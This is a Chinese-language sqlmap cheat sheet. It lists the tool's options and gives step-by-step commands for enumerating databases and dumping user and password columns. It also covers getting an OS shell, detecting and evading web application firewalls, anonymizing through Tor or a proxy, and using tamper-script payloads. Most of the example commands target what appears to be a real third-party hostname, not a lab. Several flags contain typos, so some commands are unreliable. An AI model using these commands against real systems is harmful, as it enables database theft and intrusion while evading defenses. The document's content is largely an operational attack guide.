参数
-u URL, --url=URL 目标为 URL (例如. “http://www.site.com/vuln.php?id=1”)
-g GOOGLEDORK 将谷歌dork的结果作为目标url
请求:
这些选项可用于指定如何连接到目标URL
–data=DATA 数据字符串通过POST发送
–cookie=COOKIE HTTP Cookie的值
–random-agent 随机选择 HTTP User-Agent 头的值
–proxy=PROXY 使用代理去连接目标URL
–tor 使用匿名网络
–check-tor 检查Tor是否正确使用
注入:
这些选项可用于指定要测试哪些参数,提供自定义注入负载和可选篡改脚本
-p TESTPARAMETER 可测试的参数
–dbms=DBMS 将后端DBMS强制到此值
检测:
这些选项可用于定制检测阶段
–level=LEVEL 执行的测试级别(1-5, 默认 1)
–risk=RISK 执行测试的风险 (1-3, 默认 1)
技术:
这些选项可用于调整特定SQL注入的测试的技术
–technique=TECH SQL注入技术选择 (默认 “BEUSTQ”)
枚举:
T这些选项可用于枚举后端数据库管理系统的信息、结构和数据表。此外,还可以运行自己的SQL语句
-a, --all 检索全部
-b, --banner 检索 banner
–current-user 检索当前用户
–current-db 检索当前数据库
–passwords 列出用户密码的hash值
–tables 列出表
–columns 列出字段
–schema 列出DBMS schema
–dump Dump DBMS数据库表的条目
–dump-all Dump 所有DBMS数据库表的条目
-D DB 指定数据库
-T TBL 指定表
-C COL 指定字段
操作系统访问:
这些选项可用于访问后端数据库管理系统底层操作系统
–os-shell 提示为交互式操作系统shell
–os-pwn 提示为OOB外壳,Meterpreter或VNC
通用:
这些选项可用于设置一些通用的工作参数
–batch 永远不要要求用户输入,使用默认行为
–flush-session 刷新当前目标的会话文件
杂项:
–sqlmap-shell 提示输入交互式sqlmap shell
–wizard 初学者的简单向导界面
–user-agent,–random-agent
默认情况下sqlmap的HTTP请求头中User-Agent值是:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可以使用–user-agent参数来修改,同时也可以使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。
2.获取数据库
python sqlmap.py -u URL --dbs --batch 获取全部数据库
python sqlmap.py -u URL --current-db --batch 获取当前数据库
3.获取当前数据库里所有表
python sqlmap.py -u URL -D wavsepDB --tables --batch
4.获取表的字段
python sqlmap.py -u URL -D wavsepDB -T users --columns --batch
5.dump字段内容
python sqlmap.py -u URL -D wavsepDB -T users -C “password,username” --dump --batch
如果字段内容多的话可以再加上如 --start 1 --stop 100 这样就取1-100条数据
–dump 可以换成 --dump-all则导出全部的内容
eg: sqlmap.py -r sqlblind.txt -D MYDATABASE –tables –random-agent –keep-alive
–os-shell
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
(4)secure_file_priv为空
post请求
post请求
-r 使用burp下载的文件来测试
绕过waf
检测waf
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --identify-waf#首选
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --check-waf#备选
使用参数绕过
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent -v 2 #使用任意浏览器进行绕过,尤其是在WAF配置不当的时候
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --hpp -v 3#使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --time-sec=60 #使用长的延时来避免触发WAF的机制,这方式比较耗时
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --proxy=211.211.211.211:8080 --proxy-cred=211:985#使用代理进行注入
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --ignore-proxy#禁止使用系统的代理,直接连接进行注入
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --flush-session#清空会话,重构注入
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --hex#或者使用参数 --no-cast ,进行字符码转换
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --mobile #对移动端的服务器进行注入
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --tor # 匿名注入
使用脚本绕过
1 使用格式:
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --tamper=A.py,B.py #脚本A,脚本B
2 脚本总类
01 apostrophemask.py#用utf8代替引号;Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
02 equaltolike.py#MSSQL * SQLite中like 代替等号;Example: Input: SELECT * FROM users WHERE id=1 ;Output: SELECT * FROM users WHERE id LIKE 1
03 greatest.py#MySQL中绕过过滤’>’ ,用GREATEST替换大于号;Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
04 space2hash.py#空格替换为#号 随机字符串 以及换行符;Input: 1 AND 9227=9227;Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
05 apostrophenullencode.py#MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号;
06 halfversionedmorekeywords.py#当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论;
07 space2morehash.py#MySQL中空格替换为 #号 以及更多随机字符串 换行符;
08 appendnullbyte.py#Microsoft Access在有效负荷结束位置加载零字节字符编码;Example: ('1 AND 1=1') '1 AND 1=1%00'
09 ifnull2ifisnull.py#MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
10 space2mssqlblank.py(mssql)#mssql空格替换为其它空符号
11base64encode.py#用base64编码j Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all
12 space2mssqlhash.py#mssql查询中替换空格
13 modsecurityversioned.py#(mysql中过滤空格,包含完整的查询版本注释;Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--'
14 space2mysqlblank.py#(mysql中空格替换其它空白符号
15 between.py#MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)
16 space2mysqldash.py#MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
17 multiplespaces.py#围绕SQL关键字添加多个空格;Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'
18 space2plus.py#用+替换空格;Example: ('SELECT id FROM users') 'SELECT+id+FROM+users'
19 bluecoat.py#MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
20 nonrecursivereplacement.py#双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
21 space2randomblank.py#代替空格字符(“”)从一个随机的空白字符可选字符的有效集
22 sp_password.py#追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾
23 chardoubleencode.py#双url编码(不处理以编码的)
24 unionalltounion.py#替换UNION ALL SELECT UNION SELECT;Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'
25 charencode.py#Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;
26 randomcase.py#Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写
27 unmagicquotes.py#宽字符绕过 GPC addslashes;Example: * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20
28 randomcomments.py#用/**/分割sql关键字;Example:‘INSERT’ becomes ‘IN//S//ERT’
29 charunicodeencode.py#ASP,ASP.NET中字符串 unicode 编码;
30 securesphere.py#追加特制的字符串;Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"
31 versionedmorekeywords.py#MySQL >= 5.1.13注释绕过
32 space2comment.py#Replaces space character (‘ ‘) with comments ‘/**/’
33 halfversionedmorekeywords.py#MySQL < 5.1中关键字前加注释
0x04脚本参数组合策略绕过
1 mysql绕过:
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent -v 2 -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent --hpp --tamper=space2mysqldash.p,versionedmorekeywords.py
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" -delay=3.5 ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=apostrophemask.py,equaltolike.py
备注:这些组合策略可以根据注入的反馈信息,及时调整组合策略
MSSQL:
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" -delay=3.5 ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=randomcase.py,charencode.py
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --hpp --tamper=space2comment.py,randomcase.py
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --time-sec=120 --tamper=space2mssqlblank.py,securesphere.py
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --tamper=unionalltounion.py,base64encode.p
ms access:
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --random-agent --tamper=appendnullbyte.py,space2plus.py
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --random-agent --hpp --tamper=chardoubleencode.py
Oracle:
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=5 --random-agent --hpp --tamper=unmagicquotes.py,unionalltounion.py
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=5--user-agent =“Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0” --hpp --tamper=charunicodeencode.py,chardoubleencode.py